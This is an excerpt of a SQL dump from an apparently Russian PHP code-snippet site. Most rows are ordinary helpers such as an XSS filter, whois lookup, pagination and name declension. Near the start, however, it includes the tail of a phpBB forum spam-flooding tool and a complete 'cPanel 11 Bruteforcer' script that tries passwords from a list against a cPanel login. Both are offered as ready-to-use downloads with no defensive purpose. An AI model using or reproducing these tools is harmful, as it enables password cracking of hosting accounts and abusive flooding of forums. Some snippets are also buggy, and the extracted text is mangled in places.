(seconds)</\r\nfont></i></td>\r\n<td
width="46%"><font
size="1"><input
name="intervals" size="57"
value="30"
type="text"></\r\nfont></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Forum ID (This can be found
in the forum url, in the url\r\nyou will see viewforum.php?\r\nf=\r\n{num},
the number is the
id.)</\r\nfont></i></td>\r\n<td
width="46%"><font
size="1"><input name="f"
size="57"
type="text"></\r\nfont></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Target</\r\nfont></i></td>\r\n<td
width="46%">\r\n<font
size="1">\r\n<input
name="target" size="57" value=
"http:/ /\r\nwww.phpbb.com /\r\nphpBB /\r\nposting.php"
type="text"></\r\nfont></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Topic
Title</\r\nfont></i></td>\r\n<td
width="46%">\r\n<font
size="1">\r\n<input
name="subject" size="57"
value="Spam!"
type="text"></\r\nfont></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Topic
Content</\r\nfont></i></td>\r\n<td
width="46%">\r\n<font
size="1">\r\n<textarea
rows="5" name="message"
cols="48">You are being spammed
bitch!\r\n</textarea></\r\nfont></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Controls</\r\nfont></i></td>\r\n<td
width="46%">\r\n<font
size="1">\r\n<input
value="Start!" name="stopstart"
onclick="onOff\r\n()"
type="button"><i>\r\n<input
name="script_on" value="0"
type="hidden">\r\n<input
name="mode" value="newtopic"
type="hidden">\r\n<input
name="post" class="mainoption"
value="Submit"
type="hidden">\r\n \r\n(Please be
logged in first, Use the autologin
feature)</\r\ni></font></td>\r\n</tr>\r\n<tr>\r\n<td
width="54%"><i><font
size="1"> Total post requests
made</\r\nfont></i></td>\r\n<td
width="46%">\r\n<i>\r\n<font
size="1"> <span
id="counterspan">0</\r\nspan></font></i>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td
colspan="2">\r\n<i><font
size="1">\r\n<iframe
name="iframe" marginwidth="1"
marginheight="1" border="0"
align="center" width="100%"
frameborder="0"
height="500">\r\nYour browser does not support
inline frames or is currently configured\r\nnot to display inline frames,
This spammer requires inline frames
to\r\nfunction.</\r\niframe>\r\n</font></i>\r\n</td>\r\n</tr>\r\n</tbody></table>\r\n</div>\r\n</form>\r\n</body></html>\r\n?>','files_2682_3610_',151),(355,18,'cPanel
11 Bruteforcer!','cPanel 11 Bruteforcer','<?php\r\necho
"URL (cPanel Main Page e.G http:/ /\r\nsite.com:2082):
";\r\n$url = trim(fgets\r\n(STDIN));\r\necho "USER TO
BRUTE: ";\r\n$user = trim\r\n(fgets(STDIN));\r\necho
"PASSLIST: ";\r\n$passlist =
trim\r\n(fgets(STDIN));\r\nbrute_cPanel\r\n($url, $user,
$passlist);\r\nfunction login_cPanel\r\n($url, $user,
$pass)\r\n{\r\n$target =
trim\r\n($url)."/\r\nlogin/";\r\n$post_data =
"login_theme=cpanel&user=".\r\n$user."&pass=".\r\n$pass;\r\n$referer
= trim\r\n($url);\r\n$user_agent = "Mozilla/5.0 (Windows; U;
Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417
Firefox/3.0.3";\r\n$curl_conf =
array\r\n(\r\nCURLOPT_RETURNTRANSFER =>
TRUE,\r\nCURLOPT_FOLLOWLOCATION => TRUE,\r\nCURLOPT_USERAGENT
=> $user_agent,\r\nCURLOPT_REFERER =>
$referer,\r\nCURLOPT_POST => TRUE,\r\nCURLOPT_POSTFIELDS =>
$post_data\r\n);\r\n$curl_handle =
curl_init\r\n($target);\r\ncurl_setopt_array\r\n($curl_handle,
$curl_conf);\r\n$content =
curl_exec\r\n($curl_handle);\r\nfile_put_contents\r\n("result.htm",
$content);\r\nif (!preg_match\r\n("[Login Attempt
Failed!]", $content))\r\n{\r\nreturn
true;\r\n}\r\nelse\r\n{\r\nreturn false;\r\n}\r\n}\r\nf unction
brute_cPanel\r\n($url, $user, $passlist)\r\n{\r\n$passes =
file\r\n($passlist);\r\n$count = count\r\n($passes);\r\n$counter =
0;\r\necho "CHECKING FOR ".\r\n$count."
PASSES\r\n";\r\nwhile ($counter < $count):\r\n$current_pass
= trim\r\n($passes\r\n[$counter]);\r\nif (login_cPanel\r\n($url, $user,
$current_pass))\r\n{\r\necho "SUCCESS:
".\r\n$current_pass."\r\n";\r\nreturn
true;\r\n}\r\n$counter++;\r\nendwhile;\r\nreturn
false;\r\n}\r\n?>','files_1436_5458_',151),(356,18,'Защита
от XSS','Для работы подключите файл с кодом
через инклюд:','<?php\r\n/**\r\n* Cross Side Scripting
protection class.\r\n* @package zpanelx\r\n* @subpackage dryden ->
runtime\r\n* @version 1.0.2\r\n* @author Sam Mottley
(smottley@zpanelcp.com)\r\n* @copyright ZPanel Project
(http://www.zpanelcp.com/)\r\n* @link <a
href="http://klybok.net/go.php?go=aHR0cDovL3d3dy56cGFuZWxjcC5jb20v">http://www.zpanelcp.com/</a>\r\n*
@license GPL (http://www.gnu.org/licenses/gpl.html)\r\n*/\r\nclass
runtime_xss {\r\n/**\r\n* Fix any problems or tampering with entities\r\n*
@author Sam Mottley (smottley@zpanelcp.com)\r\n* @param string $data the
data that needs cleaning\r\n* @return string The Clean
String.\r\n*/\r\nstatic public function fixEntitys($data=\'\') {\r\n$data =
str_replace(array(\'&\', \'<\',
\'>\', \'"\'), array(\'&\',
\'<\', \'>\', \'"\'), $data);\r\n$data =
preg_replace(\'/(&#*w+)[x00-x20]+;/u\', \'$1;\', $data);\r\n$data =
preg_replace(\'/(&#x*[0-9A-F]+);*/iu\', \'$1;\', $data);\r\nreturn
$data;\r\n}\r\n/**\r\n* Remove on and xmlns attributes\r\n* @author Sam
Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that
needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public
function removeAttribute($data=\'\') {\r\n$data =
preg_replace(\'#(<[^>]+?[x00-x20"\'])(?:on|xmlns)[^>]*+>#iu\',
\'$1>\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove
javasсript and VB tags\r\n* @author Sam Mottley
(smottley@zpanelcp.com)\r\n* @param string $data the data that needs
cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public
function removeJavaVB($data=\'\') {\r\n$data =
preg_replace(\'#([a-z]*)[x00-x20]*=[x00-x20]*([`\'"]*)[x00-x20]*j[x00-x20]*a[x00-x20]*v[x00-x20]*a[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iu\',
\'$1=$2nojavasсript...\', $data);\r\n$data =
preg_replace(\'#([a-z]*)[x00-x20]*=([\'"]*)[x00-x20]*v[x00-x20]*b[x00-x20]*s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:#iu\',
\'$1=$2novbsсript...\', $data);\r\n$data =
preg_replace(\'#([a-z]*)[x00-x20]*=([\'"]*)[x00-x20]*-moz-binding[x00-x20]*:#u\',
\'$1=$2nomozbinding...\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove
a common css attack\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n*
@param string $data the data that needs cleaning\r\n* @return string The
Clean String.\r\n*/\r\nstatic public function removeCssAttack($data=\'\')
{\r\n$data =
preg_replace(\'#(<[^>]+?)style[x00-x20]*=[x00-x20]*[`\'"]*.*?expression[x00-x20]*([^>]*+>#i\',
\'$1>\', $data);\r\n$data =
preg_replace(\'#(<[^>]+?)style[x00-x20]*=[x00-x20]*[`\'"]*.*?behaviour[x00-x20]*([^>]*+>#i\',
\'$1>\', $data);\r\n$data =
preg_replace(\'#(<[^>]+?)style[x00-x20]*=[x00-x20]*[`\'"]*.*?s[x00-x20]*c[x00-x20]*r[x00-x20]*i[x00-x20]*p[x00-x20]*t[x00-x20]*:*[^>]*+>#iu\',
\'$1>\', $data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove namespaces
from strong\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param
string $data the data that needs cleaning\r\n* @return string The Clean
String.\r\n*/\r\nstatic public function removeNameSpace($data=\'\')
{\r\n$data = preg_replace(\'#</*w+:w[^>]*+>#i\', \'\',
$data);\r\nreturn $data;\r\n}\r\n/**\r\n* Remove tags that can cause a
security issue\r\n* @author Sam Mottley (smottley@zpanelcp.com)\r\n* @param
string $data the data that needs cleaning\r\n* @return string The Clean
String.\r\n*/\r\nstatic public function removeHarmfullStrings($data=\'\')
{\r\n$data =
preg_replace(\'#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i\',
\'\', $data, -1);\r\nreturn $data;\r\n}\r\n/**\r\n* Use htmlentities this
will by default protect against 99% of attacks\r\n* @author Sam Mottley
(smottley@zpanelcp.com)\r\n* @param string $data the data that needs
cleaning\r\n* @param string $ENT specify how to handle quotes\r\n* @param
string $type Type of encoding to use\r\n* @return string The Clean
String.\r\n*/\r\nstatic public function htmlentitiesProtection($data=\'\',
$ENT = ENT_QUOTES, $type = \'UTF-8\') {\r\n$data = htmlentities($data,
$ENT, $type);\r\nreturn $data;\r\n}\r\n\r\n/**\r\n* Use htmlspecialchars
this will by default protect against 99% of attacks\r\n* @author Sam
Mottley (smottley@zpanelcp.com)\r\n* @param string $data the data that
needs cleaning\r\n* @param string $ENT specify how to handle quotes\r\n*
@param string $type Type of encoding to use\r\n* @return string The Clean
String.\r\n*/\r\nstatic public function
htmlspecialcharsProtection($data=\'\', $ENT = ENT_QUOTES, $type =
\'UTF-8\') {\r\n$data = htmlspecialchars($data, $ENT, $type);\r\nreturn
$data;\r\n}\r\n/**\r\n* Run though selected cleaners\r\n* @author Sam
Mottley (smottley@zpanelcp.com)\r\n* @param Array $settings What cleans you
want to run through. True And False.\r\n* @param string $data the data that
needs cleaning\r\n* @return string The Clean String.\r\n*/\r\nstatic public
function xssClean($data=\'\', $settings=array(true, true, true, true, true,
true, true)) {\r\nif ($settings[1]) {\r\n$data =
self::removeAttribute($data);\r\n}\r\nif ($settings[2]) {\r\n$data =
self::removeJavaVB($data);\r\n}\r\nif ($settings[3]) {\r\n$data =
self::removeCssAttack($data);\r\n}\r\nif ($settings[4]) {\r\n$data =
self::removeNameSpace($data);\r\n}\r\nif ($settings[5]) {\r\n$data =
self::removeHarmfullStrings($data);\r\n}\r\nif ($settings[6]) {\r\n$data =
self::htmlentitiesProtection($data, ENT_QUOTES,
\'UTF-8\');\r\n}\r\n\r\n//Below is enforced protection\r\n$data =
self::htmlspecialcharsProtection($data);\r\n\r\nif ($settings[0])
{\r\n$data = self::fixEntitys($data);\r\n}\r\n\r\n// Xss Clean
Data\r\nreturn
$data;\r\n}\r\n}\r\n?>','files_4371_5542_',151),(357,18,'Функция
отфильтровки спецсимволов
текста','Пример использования:\r\n$login =
textguard($_POST[\'login\']);','function textguard($var){\r\n$var =
trim($var);\r\n$var = htmlspecialchars($var);\r\n$var =
mysql_real_escape_string($var);\r\nreturn
$var;\r\n}','files_1861_5035_',151),(358,18,'Фильтрация
числовых значений','Довольно простая
ф-ция. Думаю новичкам будет полезно.
Пример использования:\r\n$id =
num($_GET[\'id\']);','function num($var){\r\nreturn
abs(intval($var));\r\n}','files_4990_2439_',151),(360,9,'Вывести
на экран изображение пользователя
Gravatar','Вывести на экран изображение
пользователя Gravatar','$gravatar =
\'http://www.gravatar.com/avatar/\' . md5($email_address) .
\'?s=32\';\r\necho \'<img src="\' . $gravatar .
\'" width="32"
height="32"/>\';','files_5411_5354_',1006),(361,9,'Преобразование
значения HEX в RBG','Преобразование значения
HEX в RBG','function hextorgb($hexvalue){\r\nif($hexvalue[0] == \'#\')
{\r\n$hexvalue = substr( $hexvalue, 1);\r\n}\r\nif(strlen( $hexvalue ) ==
6){\r\nlist($r, $g, $b) = array($hexvalue[0] . $hexvalue[1], $hexvalue[2] .
$hexvalue[3], $hexvalue[4] . $hexvalue[5]);\r\n}elseif (strlen($hexvalue)
== 3) {\r\nlist($r,$g,$b) = array($hexvalue[0] . $hexvalue[0], $hexvalue[1]
. $hexvalue[1], $hexvalue[2] . $hexvalue[2]);\r\n}else{\r\nreturn
false;\r\n}\r\n$r = hexdec($r);\r\n$g = hexdec($g);\r\n$b =
hexdec($b);\r\nreturn array(\'R\' => $r, \'G\' => $g, \'B\'
=> $b);\r\n}\r\n// Параметром для функции
будет номер цвета\r\n$rgb =
hextorgb(\'#fff000\');\r\nprint_r($rgb);','files_3097_1365_',1006),(362,9,'Создание
временного URL из строки','Создание
временного URL из строки','function
create_slug($string){\r\n$string =
strtolower($string);\r\n$slug=preg_replace(\'/[^a-z0-9-]+/\', \'-\',
$string);\r\nreturn $slug;\r\n}\r\necho create_slug(\'Create Simple Slug
URL\');','files_3629_4304_',1006),(363,9,'Whois запрос при
помощи PHP','Whois запрос при помощи PHP','function
whois_query($domain) {\r\n\r\n// исправляем доменное
имя:\r\n$domain = strtolower(trim($domain));\r\n$domain =
preg_replace(\'/^http:///i\', \'\', $domain);\r\n$domain =
preg_replace(\'/^www./i\', \'\', $domain);\r\n$domain = explode(\'/\',
$domain);\r\n$domain = trim($domain[0]);\r\n\r\n$_domain = explode(\'.\',
$domain);\r\n$lst = count($_domain)-1;\r\n$ext =
$_domain[$lst];\r\n\r\n$servers = array(\r\n"biz"
=>
"whois.neulevel.biz",\r\n"com"
=> "whois.internic.net",\r\n"us"
=> "whois.nic.us",\r\n"coop"
=> "whois.nic.coop",\r\n"info"
=> "whois.nic.info",\r\n"name"
=> "whois.nic.name",\r\n"net"
=>
"whois.internic.net",\r\n"gov"
=> "whois.nic.gov",\r\n"edu"
=>
"whois.internic.net",\r\n"mil"
=> "rs.internic.net",\r\n"int"
=> "whois.iana.org",\r\n"ac"
=> "whois.nic.ac",\r\n"ae"
=> "whois.uaenic.ae",\r\n"at"
=> "whois.ripe.net",\r\n"au"
=> "whois.aunic.net",\r\n"be"
=> "whois.dns.be",\r\n"bg"
=> "whois.ripe.net",\r\n"br"
=> "whois.registro.br",\r\n"bz"
=> "whois.belizenic.bz",\r\n"ca"
=> "whois.cira.ca",\r\n"cc"
=> "whois.nic.cc",\r\n"ch"
=> "whois.nic.ch",\r\n"cl"
=> "whois.nic.cl",\r\n"cn"
=> "whois.cnnic.net.cn",\r\n"cz"
=> "whois.nic.cz",\r\n"de"
=> "whois.nic.de",\r\n"fr"
=> "whois.nic.fr",\r\n"hu"
=> "whois.nic.hu",\r\n"ie"
=>
"whois.domainregistry.ie",\r\n"il"
=> "whois.isoc.org.il",\r\n"in"
=>
"whois.ncst.ernet.in",\r\n"ir"
=> "whois.nic.ir",\r\n"mc"
=> "whois.ripe.net",\r\n"to"
=> "whois.tonic.to",\r\n"tv"
=> "whois.tv",\r\n"ru" =>
"whois.ripn.net",\r\n"org" =>
"whois.pir.org",\r\n"aero" =>
"whois.information.aero",\r\n"nl"
=> "whois.domain-registry.nl"\r\n);\r\n\r\nif
(!isset($servers[$ext])){\r\ndie(\'Error: No matching nic server
found!\');\r\n}\r\n\r\n$nic_server = $servers[$ext];\r\n\r\n$output =
\'\';\r\n\r\nif ($conn = fsockopen ($nic_server, 43)) {\r\nfputs($conn,
$domain."rn");\r\nwhile(!feof($conn)) {\r\n$output .=
fgets($conn,128);\r\n}\r\nfclose($conn);\r\n}\r\nelse { die(\'Error: Could
not connect to \' . $nic_server . \'!\'); }\r\n\r\nreturn
$output;\r\n}','files_4011_3607_',1006),(364,9,'Сжатие данных
с использованием gzcompress()','Сжатие данных с
использованием gzcompress()','$string =\r\n"Lorem
ipsum dolor sit amet, consectetur\r\nadipiscing elit. Nunc ut elit id mi
ultricies\r\nadipiscing. Nulla facilisi. Praesent pulvinar,\r\nsapien vel
feugiat vestibulum, nulla dui pretium orci,\r\nnon ultricies elit lacus
quis ante. Lorem ipsum dolor\r\nsit amet, consectetur adipiscing elit.
Aliquam\r\npretium ullamcorper urna quis iaculis. Etiam ac massa\r\nsed
turpis tempor luctus. Curabitur sed nibh eu elit\r\nmollis congue. Praesent
ipsum diam, consectetur vitae\r\nornare a, aliquam a nunc. In id magna
pellentesque\r\ntellus posuere adipiscing. Sed non mi metus, at
lacinia\r\naugue. Sed magna nisi, ornare in mollis in, mollis\r\nsed nunc.
Etiam at justo in leo congue mollis.\r\nNullam in neque eget metus
hendrerit scelerisque\r\neu non enim. Ut malesuada lacus eu nulla
bibendum\r\nid euismod urna sodales. ";\r\n//
упаковываем\r\n$compressed = gzcompress($string);\r\n\r\necho
"Original size: ".
strlen($string)."n";\r\necho "Compressed size:
". strlen($compressed)."n";\r\n//
Распоковка\r\n$original =
gzuncompress($compressed);','files_1537_1684_',1006),(365,9,'Получить
информацию о используемой
памяти','Получить информацию о
используемой памяти','echo "Initial:
".memory_get_usage()." bytes n";\r\n/* All
script */\r\necho "Final: ".memory_get_usage()."
bytes n";\r\necho "Peak:
".memory_get_peak_usage()." bytes
n";','files_3377_3292_',1006),(372,9,'Антифлуд
(хороший)','Антифлуд
(хороший)','session_start();\r\n\r\nif ( !$_SESSION[\'key\']
)\r\n{\r\n\r\n$alphabet = \'abcdefghiklmnopqastuvwxyz\';\r\n\r\nfor ( $i =
0; $i < 10; $i++ )\r\n{\r\n\r\nif ( rand( 0, 1 ) == 0
)\r\n{\r\n\r\n$_SESSION[\'key\'] .= rand( 1, 9
);\r\n\r\n}\r\nelse\r\n{\r\n\r\nif ( rand( 0, 1 ) == 0
)\r\n{\r\n\r\n$_SESSION[\'key\'] .= strtolower( $alphabet[rand( 0, 24; )]
);\r\n\r\n}\r\nelse\r\n{\r\n\r\n$_SESSION[\'key\'] .= strtoupper(
$alphabet[rand( 0, 24; )] );\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nif
( $_POST[\'text\'] && $_POST[\'key\'] )\r\n{\r\n\r\nif (
!$_POST[\'key\'] OR $_POST[\'key\'] != $_SESSION[\'key\'] ) $errors[] =
\'Ошибка сессии!\';\r\nif ( !$_POST[\'text\'] ) $errors[] =
\'Ошибка, введите текст сообщения!\';\r\n\r\nif
( $errors )\r\n{\r\n\r\nforeach ( $errors as $error )\r\n{\r\n\r\n\r\necho
$error .
\'<br/>\';\r\n\r\n}\r\n\r\n}\r\nelse\r\n{\r\n\r\n\r\n\r\n}\r\n\r\n}\r\nelse\r\n{\r\n\r\necho
\'<form action=\'?\' . session_name() . \'=\' . session_id() . \'\'
method=\'post\'>\r\nСообщение:\r\n<br/>\r\n<input
type=\'text\'
name=\'text\'/>\r\n<br/>\r\n<input
type=\'hidden\' name=\'key\' value=\'\' . $_SESSION[\'key\'] .
\'\'/>\r\n<br/>\r\n<input type=\'submit\'
value=\'Отправить\'/>\r\n</form>\';\r\n\r\n}','files_1770_1806_',1006),(371,9,'Отправка
SMS с использованием PHP TextMagic API','Отправка
SMS с использованием PHP TextMagic API','//
Подключаем библиотеку
TextMagic\r\nrequire(\'textmagic-sms-api-php/TextMagicAPI.php\');\r\n\r\n//
Устанавливаем свой логин и пароль в
системе\r\n$username = \'myusername\';\r\n$password =
\'mypassword\';\r\n$router = new TextMagicAPI(array(\r\n\'username\'
=> $username,\r\n\'password\' => $password\r\n));\r\n\r\n//
Отправляем SMS на номер \'999-123-4567\'\r\n$result =
$router->send(\'Wake up!\', array(9991234567), true);\r\n\r\n//
result: Result is: Array ( [messages] => Array ( [19896128]
=> 9991234567 ) [sent_text] => Wake up! [parts_count]
=> 1 )','files_1524_3497_',1006),(369,9,'Зашифровано ли
соединение (https)?','Зашифровано ли
соединение (https)?','if ($_SERVER[\'HTTPS\'] !=
"on" ) {\r\necho "This is not
HTTPS";\r\n}else{\r\necho "This is
HTTPS";\r\n}','files_5123_5260_',1006),(370,9,'Автоматическое
создание пароля','Автоматическое
создание пароля','// Устанавливаем
параметры и генерируем пароль\r\n// $length -
длина пароля, $strength - сила пароля\r\nfunction
generatePassword($length=9, $strength=8 ) {\r\n$vowels =
\'aeuy\';\r\n$consonants = \'bdghjmnpqrstvz\';\r\nif ($strength >=
1) {\r\n$consonants .= \'BDGHJLMNPQRSTVWXZ\';\r\n}\r\nif ($strength
>= 2) {\r\n$vowels .= "AEUY";\r\n}\r\nif
($strength >= 4) {\r\n$consonants .= \'23456789\';\r\n}\r\nif
($strength >= 8 ) {\r\n$vowels .= \'@#$%\';\r\n}\r\n//
Генерируем пароль\r\n$password = \'\';\r\n$alt = time() %
2;\r\nfor ($i = 0; $i < $length; $i++) {\r\nif ($alt == 1)
{\r\n$password .= $consonants[(rand() % strlen($consonants))];\r\n$alt =
0;\r\n} else {\r\n$password .= $vowels[(rand() % strlen($vowels))];\r\n$alt
= 1;\r\n}\r\n}\r\nreturn $password;\r\n}\r\necho
generatePassword();','files_4371_5109_',1006),(375,9,'Смена цвета
первой буквы слова','Смена цвета первой
буквы слова','function FirstLetter($var, $col)\r\n{\r\n$word =
$var;\r\n$first = mb_substr($word, 0, 1, \'UTF-8\');\r\nreturn
str_replace($first, \'<span style="color:#\' . $col .
\';">\' . $first . \'</span>\',
$word);\r\n}\r\n\r\necho FirstLetter(\'Word\', \'FF3030\');\r\n\r\n//
FirstLetter(\'какое нить слово\', \'код цвета без
#\')','files_3588_5568_',1006),(376,9,'Авторизация
ДругВокруг','Авторизация
ДругВокруг','var\r\nStrPage,ssylka:String;\r\nlog:TstringList;\r\nbegin\r\nIdHttp1.HandleRedirects:=true;\r\nIdHttp1.RedirectMaximum:=1;\r\n\r\nssylka
:= \'http://app.drugvokrug.ru/j_spring_security_check\';\r\nlog :=
TstringList.Create;\r\nlog.Add(\'j_username=\'+Edit1.Text);\r\nlog.Add(\'j_password=\'+Edit2.Text);\r\nStrPage
:=
idhttp1.Post(ssylka,log);\r\nStrPage:=IdHTTP1.Get(\'http://app.drugvokrug.ru/picture.htm\');\r\nif
pos (\'logout\',StrPage) <> 0
then\r\nbegin\r\nShowMessage(\'Успешная
авторизация\');\r\nShowMessage(StrPage)\r\nend\r\n\r\nelse\r\nbegin\r\nShowMessage(\'нихуя
:(\');\r\nend;','files_4664_1529_',1006),(377,9,'Дробь
числа','Дробь числа','function
chislo($chislo)\r\n{\r\n$chislo = abs(intval(trim($chislo)));
//удаляем пробелы с числа,делаем его
целочисиленным\r\n$c = mb_strlen($chislo); //считаем
его длинну\r\nif($c == 4) //если длинна строки
4\r\n{ //то\r\n$chislo = str_replace(\'0\',\'\',$chislo);
//вырезаем нолики\r\n$ok =
str_replace($chislo[0],$chislo[0].\'.\',$chislo); //ставим точку
после первой цыфры\r\n$ex = explode(\'.\',$ok);
//делаем разделитель\r\n$ok =
$ex[0].\'.\'.$chislo[1].$chislo[2]; //выводим\r\n}\r\nelseif($c ==
5) //если длинна строки 5\r\n{\r\n$chislo =
str_replace(\'0\',\'\',$chislo);\r\n$ok =
str_replace($chislo[1],$chislo[1].\'.\',$chislo);\r\n$ex =
explode(\'.\',$ok);\r\n$ok = $ex[0].\'.\'.$chislo[2];
//выводим\r\n}\r\nreturn $ok; //возвращаем
результат\r\n}\r\n\r\necho chislo(\'12455\');
//использование','files_4001_1418_',1006),(374,9,'Класс
навигации','Класс навигации','<?php\r\nclass
page\r\n{\r\npublic $num;\r\npublic $page;\r\npublic $posts;\r\npublic
$post;\r\npublic $total;\r\n\r\npublic static function pg_num ($nm,
$tb)\r\n{\r\nglobal $mysqli;\r\n$num = $nm;\r\n$page =
$GLOBALS[\'_GET\'][\'page\'];\r\n$post =
$mysqli->query("SELECT COUNT(*) FROM $tb"
)->fetch_row();\r\n$posts=$post[\'0\'];\r\n$total = intval(($posts -
1) / $num) + 1;\r\n$page = intval($page);\r\nif(empty($page) or $page
< 0) $page = 1;\r\nif($page > $total) $page =
$total;\r\n$start = $page * $num - $num;\r\n\r\nreturn
array("num" => $num, "page"
=> $page, "total" => $total,
"start" => $start);\r\n}\r\n/* End function pg_num
*/\r\npublic static function pg_str($url, $page, $total)\r\n{\r\n\r\nif
($page != 1){$pervpage = \'<a class="page_a"
href=\'.$url.\'page=1> В Начало </a><a
class="page_a" href=\'.$url.\'page=\'. ($page - 1)
.\'> Назад </a>\';}\r\nif ($page !=
$total){$nextpage = \'<a class="page_a"
href=\'.$url.\'page=\'. ($page + 1) .\'> Вперёд
</a><a class="page_a"
href=\'.$url.\'page=\' .$total. \'> В Конец
</a>\';}\r\n\r\nif($page - 2 > 0) $page2left = \'
<a class="page_a" href=\'.$url.\'page=\'. ($page -
2) .\'>\'. ($page - 2) .\'</a>\';\r\nif($page - 1
> 0) $page1left = \'<a class="page_a"
href=\'.$url.\'page=\'. ($page - 1) .\'>\'. ($page - 1)
.\'</a>\';\r\nif($page + 2 <= $total) $page2right =
\'<a class="page_a" href=\'.$url.\'page=\'. ($page
+ 2) .\'>\'. ($page + 2) .\'</a>\';\r\nif($page + 1
<= $total) $page1right = \'<a
class="page_a" href=\'.$url.\'page=\'. ($page + 1)
.\'>\'. ($page + 1) .\'</a>\';\r\necho \'<div
class="menu">\'.$pervpage.$page2left.$page1left.\'<span
class="page_b">\'.$page.\'</span>\'.$page1right.$page2right.$nextpage.\'</div>\';\r\n}\r\n/*
End function pg_num */\r\n}\r\n/* end class page
*/\r\n?>','files_2309_2939_',1006),(378,9,'Склонение
имен','Склонение имен','function
name($name)\r\n{\r\nmb_internal_encoding(\'UTF-8\'); //ставим
кодировку\r\n$name = mb_strtolower(trim($name)); //строка
(имя)\r\n$c = mb_strlen($name); //считаем к-во букв\r\n$c2
= ($c-2); //отнимаем 2 для старта отсчета\r\n$r =
mb_substr($name,$c2,$c); //вырезаем 2 последних буквы
для шаблона\r\n//далее делаем замены\r\n$name =
(mb_stristr($r,\'ий\')) ? str_replace($r,\'ия\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ей\')) ?
str_replace($r,\'ея\',$name) : $name;\r\n$name =
(mb_stristr($r,\'др\')) ? str_replace($r,\'дра\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ша\')) ?
str_replace($r,\'ши\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ия\')) ? str_replace($r,\'ии\',$name) :
$name;\r\n$name = (mb_stristr($r,\'на\')) ?
str_replace($r,\'ны\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ка\')) ? str_replace($r,\'ки\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ня\')) ?
str_replace($r,\'ни\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ан\')) ? str_replace($r,\'ана\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ля\')) ?
str_replace($r,\'ли\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ся\')) ? str_replace($r,\'си\',$name) :
$name;\r\n$name = (mb_stristr($r,\'са\')) ?
str_replace($r,\'сы\',$name) : $name;\r\n$name =
(mb_stristr($r,\'та\')) ? str_replace($r,\'ты\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ик\')) ?
str_replace($r,\'ика\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ор\')) ? str_replace($r,\'ора\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ин\')) ?
str_replace($r,\'ина\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ль\')) ? str_replace($r,\'ля\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ля\')) ?
str_replace($r,\'ли\',$name) : $name;\r\n$name =
(mb_stristr($r,\'за\')) ? str_replace($r,\'зы\',$name) :
$name;\r\n$name = (mb_stristr($r,\'он\')) ?
str_replace($r,\'она\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ир\')) ? str_replace($r,\'ира\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ра\')) ?
str_replace($r,\'ры\',$name) : $name;\r\n$name =
(mb_stristr($r,\'га\')) ? str_replace($r,\'ги\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ок\')) ?
str_replace($r,\'ока\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ав\')) ? str_replace($r,\'ава\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ый\')) ?
str_replace($r,\'ого\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ер\')) ? str_replace($r,\'ера\',$name) :
$name;\r\n$name = (mb_stristr($r,\'им\')) ?
str_replace($r,\'има\',$name) : $name;\r\n$name =
(mb_stristr($r,\'кс\')) ? str_replace($r,\'кса\',$name) :
$name;\r\n$name = (mb_stristr($r,\'от\')) ?
str_replace($r,\'ота\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ма\')) ? str_replace($r,\'мы\',$name) :
$name;\r\n$name = (mb_stristr($r,\'ев\')) ?
str_replace($r,\'ева\',$name) : $name;\r\n$name =
(mb_stristr($r,\'ил\')) ? str_replace($r,\'ила\',$name) :
$name;\r\n$name = mb_strtoupper(mb_substr($name,0,1)) . mb_substr($name,1);
//делаем первую букву в Верхнем
регистре\r\nreturn $name; //возвращаем
результат\r\n}\r\n\r\necho name(\'Михаил\'); //пример
использования','files_3007_3163_',1006),(379,9,'Функция
определения расширения файла','Функция
определения расширения файла','function r ( $r
,$t = null )\r\n{\r\n$f = explode( \'.\' , $r );\r\nreturn strtolower( $f
[count ( $f )- 1 - $t
]);\r\n}','files_2266_4216_',1006),(380,9,'Функция
фильтровки цифр','Функция фильтровки
цифр2','function ValidInt ( $value )\r\n{\r\n$int = abs( intval ($value
));\r\nreturn $int ;\r\n}','files_4274_4035_',1006),(381,9,'Функция
удаления файлов из директории через
определенное время их хранения','Функция
удаления файлов из директории через
определенное время их хранения','function old
($papka , $times ){\r\n$old_time = time ()- 60 *$times ;\r\n$dir = opendir
